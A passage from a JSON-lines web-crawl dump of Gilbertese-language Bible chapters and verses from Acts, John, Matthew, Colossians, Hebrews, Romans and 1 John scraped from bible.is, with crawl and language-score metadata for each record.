nanoia ni mwakoron taeka ake e anai man ana tua Mote ao man aia boki buraabeti, bwa a na kakoauaa are e taekinna ibukin Iesu. 24 Iai temwaangina ake a kakoauai baike a atongaki, ma temwaangina a aki. 25 E aki reke irouia te booraoi n nano, ma ngaia are a nako i mwiin ana taeka teuana Bwauro are e atongnga, ae e kaangai, E eti ana taeka te Taamnei are e Raoiroi iroun Itaia are te buraabeti nakoia ami bakatibu, 26 ngke E kaangai, Ko na nako n te bootanaomata aei, ao ko na kaangainakoina, Kam na ongo ma n ongo, ma kam na aki atatai; ao kam na taratara ma n taratara, ma kam na aki nooraaba: 27 bwa a matoatoa nanoia te bootanaomata aei, ao a bonoti taningaia, ao a kamakii mataia; bwa a kaawa n te tai teuana n nooraaba ni mataia, ma n ongo n taningaia, ma n atatai n nanoia, ma n rairaki, ao N na kamaiuiia. 28 Ma ngaia ae kam na ataia, bwa e a tia n nako taekan ana kamaiu te Atua aei nakoia aomata aika tiaki I-Iutaia, ao boni ngaiia akana a na ongo. 30 E maeka Bwauro ua ririki n te auti ae e kabooa tikuna iai, ao e mwaneiia n akoiia aomata ni kabaneia ake a roko irouna. 31 E tataekina uean te Atua, ao e reirei taekan te Uea are Iesu Kristo n aki mamaaku, ma n aki tuutuukaki.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/28","date":"2013-05-26T08:14:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368706762669\/warc\/CC-MAIN-20130516121922-00085-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":986,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.463,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 I atongi baikai nakoimi bwa a aonga n aki bua ami onimaki. 2 Ane kam na tuukaki bwa kam na aki manga roko ni mwaneabaia I-Iutaia, ao e na roko te aoa are e na taku iai ane e kamateingkami bwa ngke e karaoa aei, ao e karaoia ibukin neboan te Atua. 3 A na karaoi baikai nakoimi aomata ibukina bwa a aki ataa Tamau, ao a aki ataai naba. 4 Ma I atongi baikai nakoimi bwa ngkana e roko te aoa are a karaoi iai baikai nakoimi aomata, ao kam na uringnga bwa I a kaman taekin nakoimi. 5 I aki taekini baikai nakoimi ngkoa, ibukina ngke I meemena iroumi. Ma ngkai N nangi nako nakon Teuare e kanakomaiai, ao akea naba iroumi ae e titirakinai ni kaangai, Ko na nakea? 6 Ma ngkai I a tia n taekini baikai nakoimi, ao kam a taonaki n te nanokaawaki. 7 Ma I tuangkami te koaua: e manen riki i bukimi nakou; bwa ngkana I aki nako, ao E aki roko iroumi te Tia Buobuoki. Ma ngkana I nako, ao N na kanakomaia nakoimi. 8 Ao ngkana E roko, ao E na kaotia nakon te aba bwa e bure ootana n aron te bure ao te raoiroi, ao e bure naba ootana n aron ana motiki-taeka te Atua. 9 E bure ootana n aron te bure ibukina ngkai e aki onimakinai; 10 e bure ootana n aron te raoiroi ibukina ngkai N nangi nako n te Tama, ao kam na aki manga noorai; 11 ao e bure ootana n aron ana motiki-taeka te Atua ibukina ngkai e a kaman tia ni motikaki taekan te tia taua taekan te aonnaba aei. 12 A bati baika I kan taekin riki nakoimi, ma kam aki konaa n oota iai ngkai. 13 Ma ngkana E roko te Taamnei ibukin te koaua, ao E na kairingkami nakon te koaua ni kabanea: bwa E na aki taekina are oin nanona, ma E na taekina are E ongo, ao E na tuangkami baika a na roko. 14 Ane E na neboai, bwa E na anai au taeka ao E na taekin nakoimi. 15 Bon au bwai bwaai ni bane ake iroun te Tama; ao aei bukin are I kaangai iai, bwa E na anai au taeka ao E na taekin nakoimi. 16 Ai ti teutana, ao kam na aki noorai; ao ai manga ti teutana riki i mwiina, ao kam na manga noorai. 17 A i titiraki i bon irouia ana reirei Iesu ake tabemwaang, ao a kaangai, Tera nanon ana taeka ngke E kaangai nakoira, Ai ti teutana, ao kam na aki noorai; ao ai manga ti teutana riki i mwiina, ao kam na manga noorai? Ao tera naba nanon ana taeka are e kaangai, I bukina bwa N na nako n te Tama? 18 Tera nanon ae e kaangai, Ai ti teutana? Ti aki ataa ae E nanonna iai. 19 E atai nanoia Iesu ae a kan titirakinna, ma ngaia are E taku nakoia, E kaangai au taeka, Ai ti teutana, ao kam na aki noorai; ao ai manga ti teutana riki i mwiina, ao kam na manga noorai. Ngaia aei ae kam i titiraki iai iroumi bwa kam kan ataa nanona? 20 Bon te koaua ni koaua ae I a tuangkami bwa ane kam na tang ma n tanginiwenei, ma ane e na kimwaareirei te aba; ane kam na nanokaawaki, ma ane e na oneaki nanokaawakimi nakon te kimwaareirei. 21 Ngkana e a kaani bung te aine, ao e nanokaawaki, bwa e a roko ana aoa ni maraki; ma ngkana e a tia ni bungia natina, ao e mwaninga taekani marakina, ibukini kukureina bwa e a bungiaki te aomata nako aon te aba. 22 Ao ai aromi naba: bwa kam nanokaawaki ngkai, ma N na manga nooringkami, ao ane a na kaonaki nanomi n te kimwaareirei, ao akea temanna ae e na anaa kimwaareireimi mai iroumi. 23 Ao n te bong arei, ao akea ami titiraki ae kam na manga titirakinai iai. Bon te koaua ni koaua ae I a tuangkami bwa ngkana kam butiia te Tama te bwai teuana n arau, ao E na anganingkami. 24 Kam tuai ni buubuti te bwai teuana n arau ni karokoa ngkai: kam na buubuti, ao ane kam na anganaki, bwa e aonga ni koro raoi kimwaareireimi. 25 I a tia ni kaboonganai taeka aika a kaangaanga iroumi bwa kam na oota iai ngke I atongi baikai nakoimi; ma e na roko te aoa are N na aki manga taekina iai te Tama nakoimi n taeka aika a kaangaanga iroumi bwa kam na oota iai, ma N na taekinna nakoimi n te aro ae kam na oota raoi iai. 26 N te bong arei ao kam na butiia te Tama n arau; ao I aki taku nakoimi bwa N na butiia i bukimi; 27 bwa E bon tangiringkami te Tama ibukina ngke kam tangirai ao kam kakoauaa ae I nako maai mai iroun te Atua. 28 I nako mai mai iroun te Tama, ao I roko i aon te aba; ao ngkai, N nang kiitana te aba n nako n te Tama. 29 A taku ana reirei nakoina, Noria, ti a oota raoi ngkai n am taeka, bwa Ko a aki kaboonganai taeka aika ti aki oota iai. 30 Ti a ataiko ngkai bwa Ko atai bwaai ni kabane, ao Ko a aki tangira temanna bwa e na titirakiniko; ti a kakoauaa iai bwa ngaia Ko nako mai mai iroun te Atua. 31 E kaekaia Iesu ao E taku, Kam a tibwa kakoauaa iai ngkai? 32 Noria, e a roko te aoa, ao e a boni kaman roko, are kam na kauamaeaki nako iai nakoni mwengami nako, ao kam na kiitanai ni katukai n ti Ngai; ma iai raou bwa Tamau. 33 I atongi baikai nakoimi bwa e aonga n reke iroumi te rau ngkana kam reitaki ma Ngai. Ami bwai i aon te aba te rawaawata; ma kam na ninikoria, bwa I a tia ni kataea ana kai te aba.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/John\/16","date":"2013-05-22T20:30:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368702444272\/warc\/CC-MAIN-20130516110724-00094-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":971,"character_repetition_ratio":0.068,"word_repetition_ratio":0.046,"special_characters_ratio":0.248,"stopwords_ratio":0.462,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ngke E bungiaki Iesu i Betereem i Iutaia n ana bong n uea Erote, ao nooria, a roko i Ierutarem taan rabakau mai mainiku, ao a taku, 2 E ngaa Teuare e bungiaki bwa aia Uea I-Iutaia? Bwa ti noora itoina i mainiku, ao ti a roko bwa ti na taromauriia. 3 Ngke e ongo aei Erote are te uea, ao e kiriwe nanona ma angiia kaain Ierutarem. 4 E bootiia ni kabane aia mataniwi ibonga ma taani koroboki, ao e kakaaea mai irouia te tabo are E na bungiaki iai te Kristo. 5 A taku nakoina, I Betereem i Iutaia: bwa e koreaki ae e kaangai iroun te buraabeti : 6 Ao ngkoe ae Betereem ae kaawan Iuta, ko ataaki irouia ake a tautaeka i Iuta, bwa te kaawa teuana i buakoni kaawana ake a rangi ni kakannato, bwa E na nako mai iroum te Uea are e na kaawakiniia au aomata ake Iteraera. 7 E kaoiia ngkanne taan rabakau Erote bwa e na bootaki ma ngaiia n ti ngaia, ao e neneria bwa e kaoti te itoi n ningai. 8 Ao i mwiina, e kanakoia nako Betereem ma ana taeka nakoia ae e kaangai, Kam na nako ao kabotumwaakaingkami n ukoukora te teei; ao ngkana kam kunea, ao kam na nako mai n tuangai, bwa N na nako naba n taromauriia. 9 Ngke a a tia n ongo ana taeka te uea, ao a nako; ao nooria, e ri moaia te itoi are a nooria i mainiku, ao e nako ni mena i etan te tabo ike E mena iai te teei. 10 Ngke a noora te itoi, ao a kaonaki n te kimwaareirei ae moan te bati. 11 Ao ngke a rin n te auti, ao a noora te merimeri ma Nei Maria are tinana, ao a katorobubua ni bobaraaki n taromauriia, ao a kaotinakoi aia bwaintangira aika koora, ma te riibano, ma te mura, ao a angan te merimeri. 12 Ao a okira abaia n te kawai teaina, ibukina ngke a a tia n tuangaki n te mii iroun te Atua bwa a na aki okira Erote. 13 Ao i mwiina ngke a a tia n nako, ao nooria, e kaoti ana anera te Atua nakon Iotebwa n te mii, ao e taku, Tei rake ao kaira te merimeri ma tinana ni biri nako Aikubita, ao mena iai ni karokoa tuangam irou; bwa ane e na ukoukora te merimeri Erote bwa e na kamatea. 14 Ao e tei rake Iotebwa, ao e kaira te merimeri ma tinana e bong, ao e nako Aikubita, 15 ao e tiku ikekei ni karokoa maten Erote. E riki aei bwa e na kakoauaaki are E atongnga te Atua iroun te buraabeti, ngke E taku, I wetea natiu mai Aikubita. 16 Ngke e ataia Erote bwa e a tia ni mwaamwanaaki irouia taan rabakau, ao e rangi n un. E kanakoa ana taeka bwa a na bane n tiringaki ataei aika mwaane ake kaka uoua aia ririki ao ake a ataei ake mwaitin aia ririki aei ibukina ngke e a tia n ataia mai irouia taan rabakau bwa e a tia ni koro uoua te ririki man te tai are a moa n noora iai te itoi. 17 E a kakoauaaki iai ngkanne are e atongaki iroun Ieremia are te buraabeti, ngke e taku: 18 E ongo te aba te bwanaa i Rama, bon te tang, ma te tanginiwenei ae e bati. E tang Nei Rakera i bukiia natina, bwa a mate, ao e rawa ni kabeebeteaki nanona. 19 Ngke e a tia ni mate Erote, ao nooria, e kaoti ana anera te Uea nakon Iotebwa n te mii, ao e kaangai. 20 Tei rake, ao kaira te teei ma tinana ao naako abaia Iteraera, bwa a a tia ni mate te koraki ake a kan tiringa te teei. 21 E tei rake Iotebwa, ao e kaira te teei ma tinana ao e nako abaia Iteraera. 22 Ma ngke e ongo bwa e uea Arekerau i Iutaia n rua mwiin Erote are tamana, ao e maaku n nako iai; ma ngke e tuangaki n te mii iroun ana anera te Uea, ao e nako n te aba are Kariraia; 23 ao ngke e roko iai, ao e maeka n te kaawa are arana Natareta: bwa e na kakoauaaki are e atongaki irouia buraabeti, are e kaangai: E na aranaki Teuarei bwa kaain Natareta.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/2","date":"2013-06-20T07:23:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368710963930\/warc\/CC-MAIN-20130516132923-00058-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":709,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.474,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KOROTE 1:20\n20 ao bon nanona naba bwa E na raoiakini bwaai ni kabane nakoina irouna, aika i aon te aba ma ake i karawa; ao E karaoa aei ni maten Natina i aon te kaibangaki.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Col\/1\/20","date":"2013-05-22T07:49:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368701459211\/warc\/CC-MAIN-20130516105059-00006-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000013113,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.000001311302185}","num_words":53,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.283,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 2:10\n10 Bon te bwai ae e riai iroun te Atua, are Ngaia ae e kariki bwaai ma ni kateimatoai aroia, bwa E na karaoa Iesu bwa E na bobonga raoi arona n te maraki, bwa a aonga natin te Atua aika a bati ni buokanibwai ma Iesu ni mimitongin te Atua. Bwa Iesu boni Ngaia ae e kairiia nakon te kamaiuaki.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/2\/10","date":"2013-05-20T11:54:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698924319\/warc\/CC-MAIN-20130516100844-00021-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":80,"character_repetition_ratio":0.035,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.375,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Onobong i mwaain te Toa are te Riao, ao E roko Iesu i Betania, ike e mena iai Rataro are e kamaiuaki iroun Iesu man te mate. 2 Ma ngaia are a karaoa te amwarake ibukin Iesu ikekei; e touati Mareta, ao Rataro e raonia ake a tekateka n rarikiriki ma Iesu. 3 Ao Nei Maria e anaa ngkanne teuana te rawaawata te kabira ae e boiarara, ae te naro ni koaua ae e bati boona, ao e kabiri waen Iesu iai, ao e kaoi n iranatuna; ao e niiraki nanon te auti ni boin te kabira. 4 E taku Iuta Itekariota, are temanna i buakoia ana reirei, are e nang kamwanea Iesu, 5 E aera ngke e aki kabooaki nako te kabira aei n tenibubua te tenari, ao a anganaki akana a aki kaubwai? 6 E atonga aei, tiaki ibukina bwa e tabe i bukiia aika a aki kaubwai; ma e atonga aei bwa te tia iraa ngaia, ao ngkai e mena irouna nnen te mwane, ao e taneiai n anaanaa are e taku maiai i bon ibukina. 7 Ma ngaia are E taku Iesu, Katuka neienne i bon irouna! E na kaawakina ae iai irouna ibukin au bongi n taunaki. 8 A boni meemena i rarikimi aomata aika a aki kaubwai, ma Ngai e na bon toki meemenau i rarikimi. 9 Ngke a ataia aomata aika a bati aika I-Iutaia bwa E mena Iesu i Betania, ao a nako iai, tiaki ti ibukin Iesu, ma a kan noora naba Rataro, are e a tia ni kamaiuaki iroun Iesu mai buakoia maate. 10 Ao a karekea aia iango ibonga ake mataniwi bwa a na kamatea naba Rataro, 11 ibukina bwa a mwaiti I-Iutaia aika a rawa irouia, ao a onimakina Iesu i mwiin te baere e a tia n riki nakon Rataro. 12 N te bong are i mwiina ao a ongo aomata aika a rangi ni bati, ake a roko n te Toa are te Riao, bwa ae i aoni kawaina n roko Iesu i Ierutarem. 13 A anai baani kaai aika aroni baan te ni, ao a nako ni butimwaaia, ao a takaarua ni kaangai, E na neboaki te Atua! E na kakabwaiaaki Teuae nakomai n aran te Atua. E na kakabwaiaaki aia Uea Iteraera! 14 Ao ngke E reke iroun Iesu te aati te teei, ao E toka i aona; n ai aron are e koreaki n te Baibara ni kaangai: 15 Tai maaku, ngkami kaain Ierutarem; nooria, E a roko ami Uea, ae e toka i aon te bun n aati. 16 A aki atai nanoni baikai ana reirei ngkekei; ma ngke E neboaki Iesu, ao a uringi baikai bwa taekana aika a koreaki n te Baibara, ao bwa a karaoaki naba nakoina. 17 Ma ngaia arei bwa aomata ake a bati ake a mena i rarikin Iesu n te tai are E wetea iai Rataro ni kaotinakoa man te nne ni mate, ao ni kamaiua mai buakoia maate, a taekina te baere e a tia n riki nakon Rataro. 18 Aei bukin are E a butimwaaeaki iai Iesu irouia aomata aika a bati, bwa a ongo ae E a tia ni karaoa te mwakuri ae e kamiimii arei. 19 A i taetae ngkanne Bwaritaio irouia, ni kaangai, Kam nooria bwa akea te bae kam konaa ni karaoia; nooria, e a bane n nako te aba n iria 20 Iai I-Erene tabemwaang i buakoia aomata ake a nako Ierutarem bwa a na taromauri n tain te Toa are te Riao. 21 A nako ngkanne nakoni Biribo, are kaaini Betetaita are i Kariraia, ao a tuangnga ni kaangai, Teuaei, ti kan noora Iesu. 22 E nako Biribo n tuanga Anterea, ao a uaia n nako n tuanga Iesu. 23 Ao E kaekaia Iesu ao E taku, E a roko te aoa are E na neboaki iai Natin te Aomata. 24 Bon te koaua ni koaua ae I a tuangkami bwa ngkana e aki bwaka uaan te uiita i buakon te tano ni mate iai, ao e na tiku n ti ngaia; ma ngkana e bwaka ao e mate iai, ao ane e na kariki uaana aika a bati. 25 Ane e tangira maiuna ao e na kabuaa; ao ane e ribaa maiuna n te aonnaba aei, ao e na kaawakinna nakon te maiu are e aki toki. 26 Ane e toro irou, ao e iai n iriirai; ao ike I mena iai, ao e na mena naba iai au toro; ane e toro irou, ao e na karineaki iroun Tamau. 27 E rawaawata nanou ngkai; ao tera ae N na taekinna? Tao N na kaangai, Tamau, kamaiuai man te aoa aei? Ma aei bukin rokou, bwa N na rin i nanon te aoa aei. 28 Tamau, neboa aram. E roko ngkanne te bwanaa mai karawa, ae e kaangai, I a tia n neboia, ao N na manga neboia. 29 Ma ngaia are aomata ake a teitei ikekei a ongo, ao a taku bwa e rebwe te ba; ma iai tabeman i buakoia ake a kaangai, E taetae te anera nakoina. 30 E kaekaia Iesu ao E taku, E aki roko te bwanaa aei i bukiu, ma e roko i bukimi. 31 Ana tai ngkai te aonnaba aei ni motikaki taekana; te tai naba aei are e na bwaka man ueana iai te tia taua taekan te aonnaba aei; 32 ao Ngai, ngkana I kateaki rake mai aon te aba, ao N na katiki nanoia aomata ni kabaneia bwa a na nakoiu. 33 E atonga aei bwa E na kaota aron te mate are e na riki nakoina. 34 Ma ngaia are a kaeka aomata ni kaangai, Ti ongo n te Tua bwa E na maiu n aki tootoki te Kristo. Ko na kangaa ngkanne n taku bwa E na kateaki rake Natin te Aomata? Antai Natin te Aomata anne? 35 E taku ngkanne Iesu nakoia, E na aki rangi ni maan ana tai te oota ni mena i buakomi. Ma ngaia are kam na nakonako ngkai iai te oota, bwa e kaawa n taoningkami te roo; ane e nakonako n te roo, ao e aki ataa ike e nako iai. 36 Ngkai iai te oota iroumi, ao kam na onimakinna, bwa kam aonga n riki bwa natin te oota. 37 E boni ngae ngke E kabatiai ni karaoi ana mwakuri aika a kamiimii i mataia, ma a bon aki onimakinna: 38 bwa e na kakoroaki bukin ana taeka Itaia are te buraabeti are e kaangai: Te Uea, antai ae e kakoauaa ara rongorongo? Ao antai ae e kaotaki mwaakan te Atua nakoina? 39 Aio bukin ae a aki konaa n onimaki iai: bwa e a manga taku Itaia, 40 E kamatakii mataia te Atua, ao E kamatoai nanoia; bwa a kaawa n nooraaba ni mataia ao n atatai n nanoia, ma n rairaki nakoiu bwa N na kamaiuiia. 41 E atongi baikai Itaia ibukina bwa e a kaman noora mimitongin Iesu, ao e taekinna. 42 Ma e ngae n anne ao a bon onimakinna naba taan tau-taeka aika a bati; ma a aki kani kaotia, ibukina bwa a maakuia Bwaritaio, bwa a kaawa n tuukaki mani mwaneabaia I-Iutaia: 43 bwa a tangira riki kamoamoaaia irouia aomata nakoni kamoamoaaia iroun te Atua. 44 Ao E kanenea bwanaana Iesu ao E kaangai, Ane e onimakinai, ao e aki onimakinai, ma e onimakina Teuare e kanakomaiai. 45 Ao ane e noorai, ao e noora Teuare e kanakomaiai. 46 I roko bwa te oota i aonnaba, bwa e na aki mena n te roo ane e onimakinai. 47 Ngkana e ongo au taeka te aomata, ao e aki iri nanoia, ao I aki motika taekana: bwa I aki roko bwa N na motika taekan aonnaba, ma I roko bwa N na kamaiua. 48 Ane e rawa nakoiu, ao e aki kaaki i nanona au taeka, ao bon iai ae e na motika taekana: taeka ake I atong a na riki bwa bwaini motikan taekana n te kabanea ni bong. 49 Bwa I aki taetae man oin au iango; ma E tuangai te Tama are e kanakomaiai bwa tera ae N na taekinna, ao ae N na atongnga. 50 Ao I ataia bwa e reke te maiu are e aki toki man ana tua. Ma ngaia aei, bwa te bae I atongnga, ao I atongnga n aron are E tuangai Tamau.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/John\/12","date":"2013-05-22T06:25:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368701409268\/warc\/CC-MAIN-20130516105009-00090-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1341,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.482,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 2:2\n2 Bwa ngke e nooraki aron te taeka are e taekinaki irouia anera bwa e koaua, ao ngke a reke booni buure ni kabane ma aki-ongeaaba ni kabane aika booia aika a riai,\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/2\/2","date":"2013-06-19T14:25:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368708142388\/warc\/CC-MAIN-20130516124222-00028-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.999992013,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999920129776001}","num_words":52,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.288,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 15:18\n18 Bwa N na ninikoria n taekina te baere E a tia ni karaoia Kristo irou n au taeka ma au mwakuri ibukini kairaia aomata aika tiaki I-Iutaia, bwa a aonga n ongeaaba nakon te Atua.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/15\/18","date":"2013-06-18T22:46:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368707435344\/warc\/CC-MAIN-20130516123035-00036-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000014305,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000014305114746}","num_words":55,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.273,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 7:5\n5 Ao ake kanoan Rewi, ake a anganaki te nakoa n ibonga, a tuangaki n te Tua bwa a na anai kakateuana te katebwina ni mwakoro mani mwaitin aia bwai aika a kakaokoro nako tariia, ake bon ana kariki naba Aberaam.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/7\/5","date":"2013-06-19T14:20:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368708142388\/warc\/CC-MAIN-20130516124222-00036-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999611378,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999611377716064}","num_words":60,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ngkami aika kam tangiraki, kam na tai iri nanoiataamnei ni kabaneia, ma kam na neneri aroia ni kakoauai bwa tao mai iroun te Atua ke tiaki: bwa a bati buraabeti ni kewe aika a tia ni waakin aia mwakuri i aonnaba, ao ae a boni waaki naba ngkai. 2 Kam konaa n ataa te aomata bwa iai irouna Taamnein te Atua n te aro aei:taamnei n tatabemaniia nako aika a kaotiia n aia onimaki bwa E roko Iesu Kristo bwa te aomata Ngaia, ao boni mai iroun te Atua; 3 aotaamnei n tatabemaniia nako aika a aki kaotiia bwa a onimakina Iesu, ao tiaki mai iroun te Atua. Te aeka ntaamnei aei bon taamnein ana kairiribai Kristo, are kam a tia n ongo taekana bwa e nangi roko; ao bon ae i aon te aba ngkai. 4 Ataei aika a uarereke, boni mai iroun te Atua ngkami, ao kam a tia ni katae aia kai buraabeti ni kewe: bwa E mwaaka riki Teuare e mena i nanomi nakon teuare e mena i nanoia kaain aon te aba. 5 Boni man te aonnaba ae e buubure te koraki arei; ma ngaia ae a taekini bwain te aonnaba ae e buubure, ao a ongo kaaina irouia. 6 Mai iroun te Atua ngaira: ane e ataa te Atua ao e ongo iroura; ane tiaki mai iroun te Atua, ao e aki ongo iroura. Ti konaa n ataa te kaokoro i marenan taamnein te koaua ao taamnein te mwaamwanaa-te-aba. 7 Ngkami aika kam tangiraki, ti na i tangitangiri: bwa mai iroun te Atua te tangira; ao ane iai te tangira irouna, ao e bungiaki mai iroun te Atua, ao e ataa te Atua. 8 Ane akea te tangira irouna, ao e aki ataa te Atua, bwa te Atua bon te tangira. 9 E kaotaki tangirara iroun te Atua n aei: bwa E kanakomaia Natina are te rikitemanna nako aon te aba te Atua bwa ti aonga ni maiu irouna. 10 Aio te tangira, tiaki ngke ti tangira te Atua; ma E tangiriira, ao E kanakomaia Natina bwa te kareanraoi ibukin ara bure. 11 Ngkami aika kam tangiraki, ngkae E tangiriira te Atua n te aro aei, ao e riai naba bwa ti na i tangitangiri. 12 Akea te aomata ae a tia n noora te Atua; ngkana ti i tangitangiri, ao E nim ma ngaira te Atua, ao e kakoroaki raoi tangirana i nanora. 13 Ti ataia bwa ti nim ma Ngaia ao Ngaia E nim ma ngaira, n aei, bwa kioina ngkae E a tia n anganiira Taamneina. 14 Ti a tia n nooria, ao ti tataekinna naba bwa E a tia te Tama ni kanakomaia te Nati bwa te Tia Kamaiuia kaain aonnaba. 15 Ane e kaotia n ana taeka bwa e onimakina Iesu bwa bon Natin te Atua, ao E nim te Atua ma ngaia, ao ngaia e nim ma te Atua. 16 Ao ti ataa te tangira are E tangiriira iai te Atua, ao ti kakoauaa. Te Atua bon te tangira; ao ane e bwaabwaina te tangira, ao e nim ma te Atua, ao te Atua E nim ma ngaia. 17 N te aro aei ao e kakororaoaki raoi iai te tangira iroura, bwa ti aonga n aki maaku n te bongi ni motiki-taeka: bwa kioina ngkai ti te bo aroni Kristo ma arora i aon te aba aei. 18 Akea te maaku i nanon te tangira; ma te tangira ae e kororaoi e kaaki te maaku. Bwa iai rekereken te maaku ma te motiki-taeka ni karawaawata; ao ane e mamaaku ao e tuai ni kakoroaki raoi n te tangira. 19 Ti bwaina te tangira, ibukina bwa E tangiriira moa. 20 Ngkana e kaangai temanna, I tangira te Atua, ao ngkana e ribaa tarina, ao bon te tia kewe ngaia; bwa ane e aki tangira tarina ae e a tia n nooria, ao e aki konaa n tangira te Atua ae e tuai nooria. 21 Ao aei te tua ae ti anganaki mai irouna: bwa ane e tangira te Atua, ao e na tangira naba tarina.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/1John\/4","date":"2013-05-25T21:21:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368706413448\/warc\/CC-MAIN-20130516121333-00090-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":656,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.463,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KOROTE 2:11\n11 N aromi naba n reitaki ma Ngaia ao kam a tia ni koroberoaki, tiaki n te korobero are korean te iriko man te rabwata ni bain te aomata, ma n ana korobero Kristo;\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp 